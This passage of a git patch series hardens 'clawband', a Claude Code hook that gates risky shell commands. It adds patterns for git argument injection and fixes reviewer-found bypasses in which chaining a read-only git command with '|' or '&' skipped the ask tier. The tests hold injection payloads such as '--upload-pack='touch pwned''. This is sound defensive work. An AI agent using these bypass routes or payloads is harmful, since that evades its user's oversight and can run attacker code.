From bc2e3264ef906bc28a1162b489389f533cef9d7f Mon Sep 17 00:00:00 2001 From: James Soubry Date: Sat, 26 Sep 2026 11:22:10 +0000 Subject: [PATCH 1/4] fix: replace broken git argument-injection ask pattern with three scoped patterns (v3.22.0) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A user-reported false positive on a separate host showed that a combined pattern intended to catch --upload-pack/--receive-pack/--exec-path argument injection was broken two ways: the built-in (?i) case-fold collapsed the -c/-C distinction, and the unwrapped | alternation made each flag match independently and unanchored rather than requiring the intended git prefix. Replaced with three independent ask patterns that don't need any -c/-C scoping at all, since none of the three flags require it to be dangerous. Closes #306 *— Claude (Sonnet 5), clawband backlog automation* --- Cargo.lock | 2 +- Cargo.toml | 2 +- src/main.rs | 74 ++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/cli.rs | 64 +++++++++++++++++++++++++++++++++++++++++++++ 4 files changed, 140 insertions(+), 2 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 56c6cc4d..103a1ecf 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -50,7 +50,7 @@ checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" [[package]] name = "clawband" -version = "3.21.1" +version = "3.22.0" dependencies = [ "libc", "regex", diff --git a/Cargo.toml b/Cargo.toml index b9496226..a4a72c8e 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "clawband" -version = "3.21.1" +version = "3.22.0" edition = "2021" description = "Claude Code PreToolUse hook that guards against destructive shell commands and unsafe file-write content" diff --git a/src/main.rs b/src/main.rs index bd0bca84..455bbc3b 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1166,6 +1166,31 @@ fn builtin_ask() -> Vec { "git remote mutate", r"\bgit\s+remote\s+(remove|rm|set-url|set-head|prune)\b", ), + // git argument injection — classic RCE vector: `--upload-pack=` / + // `--receive-pack=` passed to git clone/fetch/push cause git to + // invoke instead of the expected git-upload-pack/git-receive-pack + // helper (the mechanism behind several historical git CVEs involving + // attacker-controlled remote "paths"/URLs); `--exec-path=` is the + // same class of risk — it changes where git looks for its own core + // helper binaries, so pointing it at an attacker-writable directory can + // substitute a trojanned binary for any subsequent git operation. + // + // Three independent patterns rather than one combined regex: `|` has + // the lowest precedence of any regex operator, so `A|B|C` in a single + // pattern is three fully independent top-level alternatives across the + // whole string, not "A, followed by (B or C)" — a real-world bug + // reported from a hand-rolled variant of this pattern that additionally + // tried to scope it behind a `(-c|b)+` prefix: since Pattern::builtin() + // wraps every pattern in `(?i)`, that `-c` branch case-insensitively + // matched `-C` too (a completely unrelated git flag — "run as if git + // was started in " vs `-c`'s "pass a config override"), causing + // `git -C worktree list | grep verify` to false-positive. None + // of the three real dangerous flags need any such prefix to be + // dangerous, so it's dropped entirely here — `git ... --upload-pack` + // is dangerous regardless of what other flags (if any) precede it. + ("git --upload-pack", r"\bgit\b.*--upload-pack\b"), + ("git --receive-pack", r"\bgit\b.*--receive-pack\b"), + ("git --exec-path", r"\bgit\b.*--exec-path\b"), // docker rm -f — force-removes a running container ( "docker rm -f", @@ -8045,6 +8070,55 @@ mod tests { assert_eq!(decision("git branch --delete main"), None); } + // ── git argument injection (--upload-pack/--receive-pack/--exec-path) ────── + + #[test] + fn git_upload_pack_asks() { + assert_eq!( + decision("git clone --upload-pack='touch pwned' https://example.com/repo.git"), + Some("ask".into()) + ); + } + + #[test] + fn git_receive_pack_asks() { + assert_eq!( + decision("git push --receive-pack='touch pwned' origin main"), + Some("ask".into()) + ); + } + + #[test] + fn git_exec_path_asks() { + assert_eq!( + decision("git --exec-path=/tmp/evil status"), + Some("ask".into()) + ); + } + + #[test] + fn git_dash_capital_c_worktree_list_passes() { + // Regression: a hand-rolled variant of this pattern scoped the dangerous + // flags behind a `(-c|b)+` prefix, which — combined with the (?i) every + // built-in pattern gets wrapped in — case-insensitively matched `-C` + // (an unrelated "run as if started in " flag) too, false-positiving + // on this exact benign command. The fix drops that prefix entirely. + assert_eq!( + decision("git -C /some/path worktree list 2>&1 | grep verify"), + None + ); + } + + #[test] + fn git_dash_lowercase_c_config_passes() { + // `-c key=value` (git's own per-invocation config override) must also + // not be caught — neither -c nor -C have anything to do with the real + // danger here (the long-form --upload-pack/--receive-pack/--exec-path + // flags), which is exactly why the fix drops the prefix rather than + // trying to special-case -c vs -C. + assert_eq!(decision("git -c user.name=test status"), None); + } + #[test] fn docker_rm_force_asks() { assert_eq!(decision("docker rm -f mycontainer"), Some("ask".into())); diff --git a/tests/cli.rs b/tests/cli.rs index 9b767d0e..29ffc145 100644 --- a/tests/cli.rs +++ b/tests/cli.rs @@ -4175,6 +4175,70 @@ fn e2e_git_branch_delete_only_passes() { ); } +// ── git argument injection (--upload-pack/--receive-pack/--exec-path) ────────── + +#[test] +fn e2e_git_upload_pack_asks() { + let out = run( + &bash("git clone --upload-pack='touch pwned' https://example.com/repo.git"), + &[], + ); + assert_eq!( + decision(&out), + Some("ask"), + "git --upload-pack must trigger ask: {out}" + ); +} + +#[test] +fn e2e_git_receive_pack_asks() { + let out = run( + &bash("git push --receive-pack='touch pwned' origin main"), + &[], + ); + assert_eq!( + decision(&out), + Some("ask"), + "git --receive-pack must trigger ask: {out}" + ); +} + +#[test] +fn e2e_git_exec_path_asks() { + let out = run(&bash("git --exec-path=/tmp/evil status"), &[]); + assert_eq!( + decision(&out), + Some("ask"), + "git --exec-path must trigger ask: {out}" + ); +} + +#[test] +fn e2e_git_dash_capital_c_worktree_list_passes() { + // Regression: reported false-positive from a hand-rolled pattern that + // scoped these flags behind a `(-c|b)+` prefix, which case-insensitively + // (every builtin pattern is wrapped in (?i)) matched -C too. + let out = run( + &bash("git -C /some/path worktree list 2>&1 | grep verify"), + &[], + ); + assert_eq!( + decision(&out), + None, + "git -C ... worktree list must not be blocked: {out}" + ); +} + +#[test] +fn e2e_git_dash_lowercase_c_config_passes() { + let out = run(&bash("git -c user.name=test status"), &[]); + assert_eq!( + decision(&out), + None, + "git -c key=value config override must not be blocked: {out}" + ); +} + #[test] fn e2e_pnpm_dlx_asks() { let out = run(&bash("pnpm dlx create-react-app ."), &[]); From 9c2176ca89cb6192bdb7ac1696f93ebe2b26f578 Mon Sep 17 00:00:00 2001 From: James Soubry Date: Mon, 28 Sep 2026 06:17:19 +0000 Subject: [PATCH 2/4] fix: require every pipe stage to be independently allow-listed MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Second-opinion review found that the pre-existing "git read-only" allow pattern (^git\s+(log|diff|status|...)\b, anchored only at the start) let a benign read-only git command's prefix wave through an entire pipeline, including whatever dangerous command followed a `|`: git status | git clone --upload-pack='touch pwned' https://evil.com/x.git split_segments() deliberately does not split on bare `|` (pipe-to- interpreter needs to stay in one segment for ask/deny matching), so this reached check_command() as a single segment, and is_allowed matched the whole thing off the safe first stage alone. `;`/`&&` chaining correctly isolated the two halves already; only `|` leaked. Added split_pipe_stages() and changed is_allowed to require every pipe stage to independently match an allow pattern when the segment contains a bare `|`. Ask/deny matching against the full unsplit segment is unchanged. Known-safe wrapper pipes (RTK's git -C rewrite, sqz's trailing pipe, inline python3/node -c eval pipes) are already stripped upstream before this function runs, so they're unaffected. *— Claude (Sonnet 5), clawband backlog automation* Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_0187k8QeNYjgcEGv74YFdh2J --- src/main.rs | 103 +++++++++++++++++++++++++++++++++++++++++++++++++-- tests/cli.rs | 45 ++++++++++++++++++++++ 2 files changed, 145 insertions(+), 3 deletions(-) diff --git a/src/main.rs b/src/main.rs index 455bbc3b..70f71e0e 100644 --- a/src/main.rs +++ b/src/main.rs @@ -2358,6 +2358,38 @@ fn split_segments(cmd: &str) -> Vec { .collect() } +/// Split a segment (as returned by `split_segments`) into pipe stages, for +/// the `is_allowed` check in `check_command` only — this is NOT used for +/// ask/deny matching, which intentionally sees the whole unsplit segment. +/// +/// A `|` inside single/double quotes, or escaped with a backslash, is not a +/// stage boundary. `||` has already been consumed by `split_segments` before +/// a segment ever reaches this function, so any bare `|` found here is a +/// genuine single pipe. +fn split_pipe_stages(segment: &str) -> Vec<&str> { + let bytes = segment.as_bytes(); + let mut stages = Vec::new(); + let mut start = 0; + let mut in_single = false; + let mut in_double = false; + let mut i = 0; + while i < bytes.len() { + match bytes[i] { + b'\'' if !in_double => in_single = !in_single, + b'"' if !in_single => in_double = !in_double, + b'\\' if i + 1 < bytes.len() => i += 1, + b'|' if !in_single && !in_double => { + stages.push(&segment[start..i]); + start = i + 1; + } + _ => {} + } + i += 1; + } + stages.push(&segment[start..]); + stages +} + // ─── Comment stripping (issue #128) ────────────────────────────────────────── // A `#` that appears outside of any quoted string and is preceded by whitespace // (or is at position 0) begins a shell comment. Everything from that `#` to the @@ -6609,9 +6641,34 @@ fn check_command<'a>( // allow_pats suppress the ASK tier only — DENY tier always fires. // A segment is "allowed" when any of its forms matches an allow pattern. - let is_allowed = forms - .iter() - .any(|f| allow_pats.iter().any(|p| p.matches(f))); + // + // A segment containing a bare `|` needs a stricter check: `split_segments` + // deliberately does NOT split on `|` (see its doc comment — pipe-to- + // interpreter needs to stay in one segment for ask/deny matching), so a + // pipeline like `git status | git clone --upload-pack=...` reaches this + // point as a single segment. Matching the whole segment against an + // allow pattern anchored only at `^` (e.g. "git read-only") lets that + // anchor match the safe first stage and silently wave through whatever + // dangerous command follows the pipe — found via second-opinion review + // on PR #307 (2026-09-26): `git status | git clone --upload-pack=...` + // was reaching ALLOW instead of the intended ASK. Requiring every pipe + // stage to independently match an allow pattern closes this without + // touching how `|` is handled anywhere else (ask/deny still match + // against the full, unsplit segment). Known-safe wrapper pipes (RTK's + // `git -C ...`, sqz's trailing `| sqz compress ...`, and the + // inline `| python3 -c "..."` / `| node -m ...` forms) are all already + // stripped upstream (`strip_rtk`/`strip_sqz`/`strip_safe_pipes`) before + // this function ever sees the command, so they never reach this branch. + let is_allowed = if segment.contains('|') { + split_pipe_stages(segment).iter().all(|stage| { + let stage = stage.trim(); + !stage.is_empty() && allow_pats.iter().any(|p| p.matches(stage)) + }) + } else { + forms + .iter() + .any(|f| allow_pats.iter().any(|p| p.matches(f))) + }; // ── Deny tier (always runs, allow cannot suppress) ──────────────────── @@ -8119,6 +8176,46 @@ mod tests { assert_eq!(decision("git -c user.name=test status"), None); } + #[test] + fn git_upload_pack_pipe_bypass_asks() { + // Second-opinion review finding (PR #307, 2026-09-26): the pre-existing + // "git read-only" allow pattern (`^git\s+(log|diff|status|...)\b`, no `$` + // anchor) matched the start of the WHOLE piped segment — since + // split_segments() deliberately does not split on bare `|` — letting a + // read-only prefix wave through whatever dangerous command follows the + // pipe. `;`/`&&` correctly isolate the two halves; only `|` leaked. + assert_eq!( + decision("git status | git clone --upload-pack='touch pwned' https://evil.com/x.git"), + Some("ask".into()) + ); + } + + #[test] + fn git_receive_pack_pipe_bypass_asks() { + assert_eq!( + decision("git log | git push --receive-pack='touch pwned' origin main"), + Some("ask".into()) + ); + } + + #[test] + fn git_upload_pack_semicolon_still_asks() { + // Regression: confirms `;` chaining (unaffected by this fix) still + // correctly isolates and asks — only the `|` form was ever broken. + assert_eq!( + decision("git status ; git clone --upload-pack='touch pwned' https://evil.com/x.git"), + Some("ask".into()) + ); + } + + #[test] + fn git_log_pipe_grep_still_passes() { + // A genuinely benign pipeline (no ask pattern matches either stage) + // must not regress into an ask just because the stricter pipe-stage + // check no longer blanket-allows it. + assert_eq!(decision("git log | grep foo"), None); + } + #[test] fn docker_rm_force_asks() { assert_eq!(decision("docker rm -f mycontainer"), Some("ask".into())); diff --git a/tests/cli.rs b/tests/cli.rs index 29ffc145..98d9c095 100644 --- a/tests/cli.rs +++ b/tests/cli.rs @@ -4239,6 +4239,51 @@ fn e2e_git_dash_lowercase_c_config_passes() { ); } +#[test] +fn e2e_git_upload_pack_pipe_bypass_asks() { + // Second-opinion review finding (PR #307, 2026-09-26): a read-only prefix + // before a `|` waved through whatever dangerous command followed it, + // since split_segments() doesn't split on bare `|`. + let out = run( + &bash("git status | git clone --upload-pack='touch pwned' https://evil.com/x.git"), + &[], + ); + assert_eq!( + decision(&out), + Some("ask"), + "git status | git clone --upload-pack=... must still ask: {out}" + ); +} + +#[test] +fn e2e_git_receive_pack_pipe_bypass_asks() { + let out = run( + &bash("git log | git push --receive-pack='touch pwned' origin main"), + &[], + ); + assert_eq!( + decision(&out), + Some("ask"), + "git log | git push --receive-pack=... must still ask: {out}" + ); +} + +#[test] +fn e2e_git_log_pipe_grep_still_passes() { + // Explicitly "allow" (not silent/None) is correct here: this hits a + // separate, pre-existing full-command allow.patterns match (only reached + // when check_command's deny/ask scan found nothing) that isn't part of + // this fix — it's benign since it only ever activates once nothing + // dangerous was already found. The unit-level `git_log_pipe_grep_still_passes` + // test in main.rs exercises check_command directly and correctly sees None. + let out = run(&bash("git log | grep foo"), &[]); + assert_eq!( + decision(&out), + Some("allow"), + "a genuinely benign pipeline must not regress into ask: {out}" + ); +} + #[test] fn e2e_pnpm_dlx_asks() { let out = run(&bash("pnpm dlx create-react-app ."), &[]); From dd707847c2edb0cc2d5838a8275a2f7cc24ff349 Mon Sep 17 00:00:00 2001 From: James Soubry Date: Wed, 30 Sep 2026 14:03:18 +0000 Subject: [PATCH 3/4] fix: close & bypass and tighten git argument-injection patterns (v3.22.3) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Addresses a third-opinion review of PR #307 (Gemini/Antigravity CLI): 1. split_segments() now treats a bare `&` (background operator) as a compound-command delimiter alongside `&&`/`;`/`|`/newline. Previously `git status & git clone --upload-pack=...` was never split, letting the unanchored "git read-only" allow pattern wave the whole unsplit segment through as allow and skip the ask tier entirely (exploit repro included in the review). Added masking so the canonical fork-bomb deny pattern (`:(){ :|:& };:`), which relies on seeing `{...}&` as one piece, is unaffected. 2. The three git argument-injection ask patterns added in PR #307 used unconstrained `.*` between `git` and the dangerous flag, which could bridge across `|`/`;`/`&` inside a single pipeline segment (split_segments deliberately does not split on `|`) and false-positive on unrelated commands, e.g. `git log --oneline | grep --upload-pack`. Changed to `[^|;&]*` so the filler can't cross a compound/pipe boundary while still matching arbitrary intervening git flags. 3. Bare `git --exec-path` (no `=`) only prints the current setting and exits (git(1)) — read-only. The pattern now requires the `=` so this no longer triggers an ask. 4. `git push --exec=` is an undocumented synonym for `--receive-pack=` (git-push(1)) and was not caught at all. Folded into the `git --receive-pack` pattern. Adds unit tests (src/main.rs) and e2e tests (tests/cli.rs) covering each fix plus regression guards for the original PR #307 behavior. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_01NY9LMtAFwhYxdFzDwgo4gg --- Cargo.lock | 2 +- Cargo.toml | 2 +- src/main.rs | 167 +++++++++++++++++++++++++++++++++++++++++++++++++-- tests/cli.rs | 95 +++++++++++++++++++++++++++++ 4 files changed, 260 insertions(+), 6 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 977a2855..67f83fe9 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -50,7 +50,7 @@ checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" [[package]] name = "clawband" -version = "3.22.2" +version = "3.22.3" dependencies = [ "libc", "regex", diff --git a/Cargo.toml b/Cargo.toml index 3d545326..8e2ff41e 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "clawband" -version = "3.22.2" +version = "3.22.3" edition = "2021" description = "Claude Code PreToolUse hook that guards against destructive shell commands and unsafe file-write content" diff --git a/src/main.rs b/src/main.rs index 8d106522..5b843f96 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1188,9 +1188,44 @@ fn builtin_ask() -> Vec { // of the three real dangerous flags need any such prefix to be // dangerous, so it's dropped entirely here — `git ... --upload-pack` // is dangerous regardless of what other flags (if any) precede it. - ("git --upload-pack", r"\bgit\b.*--upload-pack\b"), - ("git --receive-pack", r"\bgit\b.*--receive-pack\b"), - ("git --exec-path", r"\bgit\b.*--exec-path\b"), + // + // `[^|;&]*` (not `.*`) between `git` and the flag: `.*` is greedy and + // unconstrained, so it can bridge across `|`/`;`/`&` and match a flag + // that belongs to a completely different command later in the same + // segment — e.g. `git log --oneline | grep --upload-pack` false- + // positived under `.*` because split_segments() deliberately does not + // split on bare `|` (pipe-to-interpreter detection elsewhere needs + // the whole pipeline in one segment) and `check_command`/is_allowed + // pipe-stage checks don't apply to ask/deny matching. Restricting the + // filler to "not a compound/pipe separator" keeps the pattern scoped + // to a single command while still matching arbitrary intervening git + // flags (`git -c foo.bar=baz clone --upload-pack=x` still matches). + // Found via third-party review of PR #307. + ("git --upload-pack", r"\bgit\b[^|;&]*--upload-pack\b"), + // `--exec` is an undocumented synonym for `--receive-pack` on + // `git push` (see git-push(1)): `git push --exec=` runs + // instead of git-receive-pack, identical RCE shape to + // `--receive-pack=`. Folded into this pattern rather than a + // separate one since it's the exact same vulnerability class. + // + // No `\b` immediately before the alternation: the preceding filler + // usually ends right before a `-` (e.g. `push ` then `--exec`), and + // `-` is itself a non-word character, so a space-to-dash transition + // is NOT a `\b` boundary — a leading `\b` there silently prevented + // the whole pattern from ever matching. `--exec` requires a literal + // `=` (not just a trailing `\b`) so it doesn't also match the + // unrelated `--exec-path` flag (`--exec-path` is caught by its own + // dedicated pattern below). + ( + "git --receive-pack", + r"\bgit\b[^|;&]*(?:--receive-pack\b|--exec=)", + ), + // Bare `git --exec-path` (no `=`) only prints the current + // exec-path setting and exits — read-only, per git(1). Only the + // `--exec-path=` form actually changes where git looks for its + // core helper binaries, so the pattern requires the `=` to avoid + // asking about a harmless introspection command. + ("git --exec-path", r"\bgit\b[^|;&]*--exec-path="), // docker rm -f — force-removes a running container ( "docker rm -f", @@ -2340,7 +2375,28 @@ fn split_segments(cmd: &str) -> Vec { // the command into phantom segments (issue #108). let s = mask_quoted_separators(&s); - let splitter = Regex::new(r"[ \t]*(\|\||&&|;|\n)[ \t]*").unwrap(); + // Mask a bare `&` immediately preceding a `}` (optionally with whitespace + // between them) so treating bare `&` as a segment delimiter (added for + // the third-opinion PR #307 fix, see below) does not shred the fork-bomb + // deny pattern's structural match: the canonical fork bomb + // `:(){ :|:& };:` needs `{ :|:& }` to stay in one piece for + // `[\w:]+\(\)\s*\{[^}]*\|[^}]*[\w:]+\s*&` to see the whole `{...}&` shape. + // `cmd & }` (backgrounding the last command in a `{ ...; }` group) is the + // same shell construct either way, so not splitting there is also + // semantically reasonable, not just a narrow carve-out for this one + // pattern. + let mask_bg_before_brace = Regex::new(r"&(\s*\})").unwrap(); + let s = mask_bg_before_brace.replace_all(&s, "\x04$1"); + + // `&&` must be listed before the bare `&` alternative so the regex + // engine's leftmost-alternative-wins semantics consume both `&` + // characters as one `&&` delimiter rather than matching a single `&`, + // leaving a second `&` to be matched (and an empty segment produced) + // immediately after. Bare `&` (the shell background operator) is a + // delimiter in its own right: `git status & git clone --upload-pack=...` + // must not be treated as one unsplit segment (issue: `&` bypass of the + // per-segment is_allowed check, found via third-party review of PR #307). + let splitter = Regex::new(r"[ \t]*(\|\||&&|&|;|\n)[ \t]*").unwrap(); let s = splitter.replace_all(&s, SEP); s.split(SEP) @@ -8226,6 +8282,109 @@ mod tests { assert_eq!(decision("git log | grep foo"), None); } + // ── third-opinion review of PR #307 (Gemini/Antigravity) ─────────────────── + + #[test] + fn bare_ampersand_background_is_a_segment_delimiter() { + // Finding #1 (highest priority, exploit repro included in the review): + // split_segments() split on `&&` but not bare `&` (the shell background + // operator). Combined with the per-segment `is_allowed` check, a segment + // like `git status & git clone --upload-pack=...` never got split, so + // the unanchored "git read-only" allow pattern matching the leading + // `git status` waved the whole unsplit segment through as allow — + // completely skipping the ask tier for the dangerous second half. + assert_eq!( + decision("git status & git clone --upload-pack='touch pwned' https://evil.com/x.git"), + Some("ask".into()) + ); + } + + #[test] + fn double_ampersand_still_splits_as_one_delimiter() { + // Regression guard for the #1 fix: adding a bare `&` alternative to the + // splitter regex must not break `&&` matching as a single two-char + // delimiter (e.g. producing a spurious empty segment between the two + // `&` characters). `git status && git log` must still behave exactly + // as it did before — both stages read-only, so overall pass (no ask). + assert_eq!(decision("git status && git log"), None); + } + + #[test] + fn segments_split_correctly_on_bare_ampersand() { + let segs = split_segments("echo one & echo two"); + assert_eq!(segs, vec!["echo one".to_string(), "echo two".to_string()]); + } + + #[test] + fn segments_split_correctly_on_double_ampersand_no_empty_segment() { + let segs = split_segments("echo one && echo two"); + assert_eq!(segs, vec!["echo one".to_string(), "echo two".to_string()]); + } + + #[test] + fn git_upload_pack_pipe_grep_false_positive_passes() { + // Finding #2: `.*` in the ask patterns is unconstrained and can bridge + // across a `|` inside a single pipeline segment (split_segments() + // deliberately does not split on bare `|`). `grep --upload-pack` here + // is an unrelated grep flag/arg, not a dangerous git invocation — must + // not ask. + assert_eq!(decision("git log --oneline | grep --upload-pack"), None); + assert_eq!(decision("git log --oneline | grep --receive-pack"), None); + assert_eq!(decision("git log --oneline | grep --exec-path"), None); + } + + #[test] + fn git_upload_pack_still_matches_with_intervening_flags() { + // Regression guard for #2: the fix (`.*` -> `[^|;&]*`) must not break + // the original PR #307 intent — arbitrary git flags between `git` and + // the dangerous long-form flag must still be matched. + assert_eq!( + decision("git -c foo.bar=baz clone --upload-pack=x https://evil.com/x.git"), + Some("ask".into()) + ); + assert_eq!( + decision("git -c foo.bar=baz push --receive-pack=x origin main"), + Some("ask".into()) + ); + } + + #[test] + fn git_exec_path_bare_form_passes() { + // Finding #3: bare `git --exec-path` (no `=`) only prints the + // current setting and exits (git(1)) — read-only, must not ask. + assert_eq!(decision("git --exec-path"), None); + assert_eq!(decision("git --exec-path status"), None); + } + + #[test] + fn git_exec_path_with_value_still_asks() { + // Regression guard for #3: `--exec-path=` actually changes where + // git looks for its core helper binaries and must still ask. + assert_eq!( + decision("git --exec-path=/tmp/evil status"), + Some("ask".into()) + ); + } + + #[test] + fn git_push_exec_synonym_asks() { + // Finding #4: `--exec=` is an undocumented synonym + // for `--receive-pack=` on `git push` (git-push(1)) — + // same RCE shape, previously uncaught entirely. + assert_eq!( + decision("git push --exec='touch pwned' origin main"), + Some("ask".into()) + ); + } + + #[test] + fn git_push_exec_synonym_does_not_false_positive_on_exec_path() { + // Regression guard: the `--exec=` pattern must not also match the + // unrelated `--exec-path` flag (which is handled, and correctly + // scoped, by its own dedicated pattern). + assert_eq!(decision("git --exec-path"), None); + } + #[test] fn docker_rm_force_asks() { assert_eq!(decision("docker rm -f mycontainer"), Some("ask".into())); diff --git a/tests/cli.rs b/tests/cli.rs index c88d6991..a87f2b32 100644 --- a/tests/cli.rs +++ b/tests/cli.rs @@ -4405,6 +4405,101 @@ fn e2e_git_log_pipe_grep_still_passes() { ); } +// ── third-opinion review of PR #307 (Gemini/Antigravity) ─────────────────── + +#[test] +fn e2e_bare_ampersand_background_is_a_segment_delimiter() { + // Finding #1 (exploit repro from the review): a single `&` (background + // operator) was not a split_segments() delimiter, so the unanchored + // "git read-only" allow pattern matching the leading `git status` waved + // the whole unsplit segment through as allow, skipping the ask tier + // entirely for the dangerous `git clone --upload-pack=...` half. + let out = run( + &bash("git status & git clone --upload-pack='touch pwned' https://evil.com/x.git"), + &[], + ); + assert_eq!( + decision(&out), + Some("ask"), + "bare & must not bypass the ask tier: {out}" + ); +} + +#[test] +fn e2e_double_ampersand_still_splits_correctly() { + // Regression guard: adding bare `&` as a delimiter must not break `&&` + // matching as one two-char delimiter (no spurious empty segment). + let out = run(&bash("git status && git log"), &[]); + assert_eq!( + decision(&out), + Some("allow"), + "git status && git log must still pass through: {out}" + ); +} + +#[test] +fn e2e_git_upload_pack_pipe_grep_false_positive_passes() { + // Finding #2: unconstrained `.*` in the ask patterns bridged across `|`, + // so `grep --upload-pack` (an unrelated grep arg) false-positived. + let out = run(&bash("git log --oneline | grep --upload-pack"), &[]); + assert_ne!( + decision(&out), + Some("ask"), + "grep --upload-pack must not trigger the git argument-injection ask: {out}" + ); +} + +#[test] +fn e2e_git_upload_pack_still_matches_with_intervening_flags() { + // Regression guard for #2: arbitrary git flags between `git` and the + // dangerous long-form flag must still be matched after `.*` -> `[^|;&]*`. + let out = run( + &bash("git -c foo.bar=baz clone --upload-pack=x https://evil.com/x.git"), + &[], + ); + assert_eq!( + decision(&out), + Some("ask"), + "git --upload-pack must still ask with intervening flags: {out}" + ); +} + +#[test] +fn e2e_git_exec_path_bare_form_passes() { + // Finding #3: bare `git --exec-path` (no `=`) only prints the + // current setting and exits — read-only, must not ask. + let out = run(&bash("git --exec-path"), &[]); + assert_ne!( + decision(&out), + Some("ask"), + "bare git --exec-path (no value) must not ask: {out}" + ); +} + +#[test] +fn e2e_git_exec_path_with_value_still_asks() { + // Regression guard for #3: `--exec-path=` must still ask. + let out = run(&bash("git --exec-path=/tmp/evil status"), &[]); + assert_eq!( + decision(&out), + Some("ask"), + "git --exec-path= must still ask: {out}" + ); +} + +#[test] +fn e2e_git_push_exec_synonym_asks() { + // Finding #4: `--exec=` is an undocumented synonym for + // `--receive-pack=` on `git push` — same RCE shape, previously + // uncaught entirely. + let out = run(&bash("git push --exec='touch pwned' origin main"), &[]); + assert_eq!( + decision(&out), + Some("ask"), + "git push --exec= must ask like --receive-pack=: {out}" + ); +} + #[test] fn e2e_pnpm_dlx_asks() { let out = run(&bash("pnpm dlx create-react-app ."), &[]); From c4112915935ddff6371c759a39c81a49d700c93b Mon Sep 17 00:00:00 2001 From: James Soubry Date: Wed, 30 Sep 2026 16:14:00 +0000 Subject: [PATCH 4/4] refactor: extract helper functions to fix CodeScene code-health gate MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit CodeScene's Code Health Review flagged builtin_ask (188->194 lines) and check_command (162->169 lines) as "getting worse" — both were already well over the 70-line threshold before this PR, and its additions grew them further, which the project's stated policy ("don't let new work make this worse") correctly flags as a real regression rather than a one-off. - Extracted the 3 new git-argument-injection ask patterns into git_argument_injection_ask_patterns(), chained into builtin_ask()'s existing specs iterator instead of living inline in the array. - Extracted the pipe-stage is_allowed logic into segment_is_allowed(), called from check_command() instead of inlined. Pure refactor — no behavior change. Full suite green: 1008 unit + 433 e2e tests, fmt clean, clippy clean. *— Claude (Sonnet 5), clawband backlog automation* Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_0187k8QeNYjgcEGv74YFdh2J --- src/main.rs | 195 ++++++++++++++++++++++++++++------------------------ 1 file changed, 105 insertions(+), 90 deletions(-) diff --git a/src/main.rs b/src/main.rs index 5b843f96..3e6f89ea 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1115,6 +1115,71 @@ fn builtin_deny() -> Vec { // ─── Built-in ask patterns ──────────────────────────────────────────────────── +/// git argument injection — classic RCE vector: `--upload-pack=` / +/// `--receive-pack=` passed to git clone/fetch/push cause git to +/// invoke instead of the expected git-upload-pack/git-receive-pack +/// helper (the mechanism behind several historical git CVEs involving +/// attacker-controlled remote "paths"/URLs); `--exec-path=` is the +/// same class of risk — it changes where git looks for its own core +/// helper binaries, so pointing it at an attacker-writable directory can +/// substitute a trojanned binary for any subsequent git operation. +/// +/// Three independent patterns rather than one combined regex: `|` has +/// the lowest precedence of any regex operator, so `A|B|C` in a single +/// pattern is three fully independent top-level alternatives across the +/// whole string, not "A, followed by (B or C)" — a real-world bug +/// reported from a hand-rolled variant of this pattern that additionally +/// tried to scope it behind a `(-c|b)+` prefix: since Pattern::builtin() +/// wraps every pattern in `(?i)`, that `-c` branch case-insensitively +/// matched `-C` too (a completely unrelated git flag — "run as if git +/// was started in " vs `-c`'s "pass a config override"), causing +/// `git -C worktree list | grep verify` to false-positive. None +/// of the three real dangerous flags need any such prefix to be +/// dangerous, so it's dropped entirely here — `git ... --upload-pack` +/// is dangerous regardless of what other flags (if any) precede it. +/// +/// `[^|;&]*` (not `.*`) between `git` and the flag: `.*` is greedy and +/// unconstrained, so it can bridge across `|`/`;`/`&` and match a flag +/// that belongs to a completely different command later in the same +/// segment — e.g. `git log --oneline | grep --upload-pack` false- +/// positived under `.*` because split_segments() deliberately does not +/// split on bare `|` (pipe-to-interpreter detection elsewhere needs +/// the whole pipeline in one segment) and `check_command`/is_allowed +/// pipe-stage checks don't apply to ask/deny matching. Restricting the +/// filler to "not a compound/pipe separator" keeps the pattern scoped +/// to a single command while still matching arbitrary intervening git +/// flags (`git -c foo.bar=baz clone --upload-pack=x` still matches). +/// Found via third-party review of PR #307. +fn git_argument_injection_ask_patterns() -> &'static [(&'static str, &'static str)] { + &[ + ("git --upload-pack", r"\bgit\b[^|;&]*--upload-pack\b"), + // `--exec` is an undocumented synonym for `--receive-pack` on + // `git push` (see git-push(1)): `git push --exec=` runs + // instead of git-receive-pack, identical RCE shape to + // `--receive-pack=`. Folded into this pattern rather than a + // separate one since it's the exact same vulnerability class. + // + // No `\b` immediately before the alternation: the preceding filler + // usually ends right before a `-` (e.g. `push ` then `--exec`), and + // `-` is itself a non-word character, so a space-to-dash transition + // is NOT a `\b` boundary — a leading `\b` there silently prevented + // the whole pattern from ever matching. `--exec` requires a literal + // `=` (not just a trailing `\b`) so it doesn't also match the + // unrelated `--exec-path` flag (`--exec-path` is caught by its own + // dedicated pattern below). + ( + "git --receive-pack", + r"\bgit\b[^|;&]*(?:--receive-pack\b|--exec=)", + ), + // Bare `git --exec-path` (no `=`) only prints the current + // exec-path setting and exits — read-only, per git(1). Only the + // `--exec-path=` form actually changes where git looks for its + // core helper binaries, so the pattern requires the `=` to avoid + // asking about a harmless introspection command. + ("git --exec-path", 